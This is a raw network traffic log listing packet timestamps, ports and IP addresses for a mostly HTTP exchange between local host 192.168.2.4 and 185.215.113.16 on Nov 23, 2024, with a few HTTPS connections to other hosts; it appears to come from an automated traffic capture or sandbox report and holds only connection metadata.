Nov 23, 2024 18:22:37.154953957 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.155004025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.155055046 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.155817986 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.155949116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.155997992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.156733990 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.156781912 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.156837940 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.156888962 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.157772064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.157835007 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.157902956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.158154011 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.158620119 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.158674955 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.158687115 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.158729076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.159450054 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.159503937 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.159528017 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.159574986 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.160324097 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.160375118 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.160414934 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.160465956 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.161178112 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.161226988 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.161300898 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.161395073 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.161986113 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.162026882 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.162095070 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.162241936 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.162791967 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.162842035 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.163265944 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.163316011 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.163372040 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.163422108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.164026976 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.164078951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.164107084 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.164153099 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.164896965 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.164954901 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.165013075 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.165056944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.165683985 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.165786028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.165842056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.166492939 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.166553974 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.166614056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.166671991 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.167308092 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.167366982 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.167403936 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.168138027 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.168188095 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.168262005 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.169006109 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.169055939 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.169121981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.169168949 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.169794083 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.169850111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.169876099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.169930935 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.170608997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.170658112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.170728922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.170774937 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.171422005 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.171469927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.171533108 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.171578884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.172252893 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.172301054 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.172375917 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.172424078 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.173063993 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.173147917 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.173173904 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.173213959 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.173892021 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.173973083 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.174001932 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.174045086 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.174719095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.174767971 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.174817085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.175528049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.175590038 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.175662041 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.175718069 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.176361084 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.176413059 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.176474094 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.176517963 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.177176952 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.177223921 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.177279949 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.177330017 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.178004026 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.178061008 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.178097963 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.178342104 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.178817987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.178872108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.178899050 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.178941011 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.179717064 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.179811954 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.179847002 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.179858923 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.180768013 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.180831909 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.180908918 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.181094885 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:37.181162119 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:37.181384087 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.181565046 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.181615114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.181675911 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.182132006 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.182347059 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.182416916 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.182424068 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.182473898 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.182594061 CET	49830	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:37.182609081 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:37.182842016 CET	443	49830	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:37.183006048 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.183053970 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.183134079 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.183298111 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.183768988 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.183864117 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.183912992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.184570074 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.184644938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.184681892 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.184803009 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.185394049 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.185527086 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.185579062 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.186223984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.186264038 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.186348915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.186400890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.187067032 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.187161922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.187216043 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.188026905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.188082933 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.188124895 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.188747883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.188797951 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.188821077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.189239025 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.189512014 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.189563990 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.189629078 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.189726114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.190346956 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.190392017 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.190433025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.190650940 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.191184044 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.191236019 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.191308975 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.191359997 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.191999912 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.192045927 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.192118883 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.192163944 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.192807913 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.192862034 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.192869902 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.193133116 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.193644047 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.193696976 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.193736076 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.193778992 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.194459915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.194519043 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.194566011 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.194683075 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.195300102 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.195354939 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.195442915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.195621967 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.196096897 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.196172953 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.196223974 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.196985006 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.197037935 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.197042942 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.197171926 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.197741032 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.197788954 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.197854042 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.197901964 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.198580980 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.198627949 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.198707104 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.198851109 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.199388981 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.199444056 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.199505091 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.199681044 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.200238943 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.200318098 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.200368881 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.200901985 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.201056957 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.201060057 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.201109886 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.201119900 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.201165915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.201250076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.201833963 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.201926947 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.201967001 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.201972961 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.202011108 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.202033997 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.202109098 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.202687025 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.202735901 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.202737093 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.202753067 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.202780008 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.202790022 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.202797890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.202841043 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.203512907 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.203557014 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.203591108 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.204319000 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.204324007 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.204368114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.204446077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.204487085 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.204504967 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.204514980 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.204524994 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.204530954 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.205169916 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.205220938 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.205275059 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.205370903 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.205981016 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.206036091 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.206089020 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.206129074 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.206799984 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.206850052 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.206909895 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.206949949 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.207608938 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.207667112 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.207672119 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.207712889 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.208208084 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.208249092 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.208545923 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.208606958 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.208620071 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.208635092 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.208682060 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.209328890 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.209397078 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.209448099 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.209490061 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.210084915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.210211039 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.210237026 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.210249901 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.210541010 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.210562944 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.210617065 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.210899115 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.210933924 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.210941076 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.210978031 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.211503029 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.211520910 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.211734056 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.211776018 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.211841106 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.211884975 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.211982965 CET	49837	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:37.211994886 CET	443	49837	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:37.212584972 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.212650061 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.212707996 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.212730885 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.213399887 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.213460922 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.213463068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.213502884 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.214193106 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.214260101 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.214287996 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.214392900 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.215029955 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.215071917 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.215133905 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.215488911 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.216015100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.216114998 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.216162920 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.216789007 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.216869116 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.216921091 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.217489004 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.217598915 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.217650890 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.218327999 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.218367100 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.218394041 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.218414068 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.219192028 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.219263077 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.219270945 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.219302893 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.219955921 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.220011950 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.220031977 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.220074892 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.220786095 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.220843077 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.220860958 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.220910072 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.221652031 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.221693993 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:37.221741915 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:37.222418070 CET	80	49822	185.215.113.16	192.168.2.4
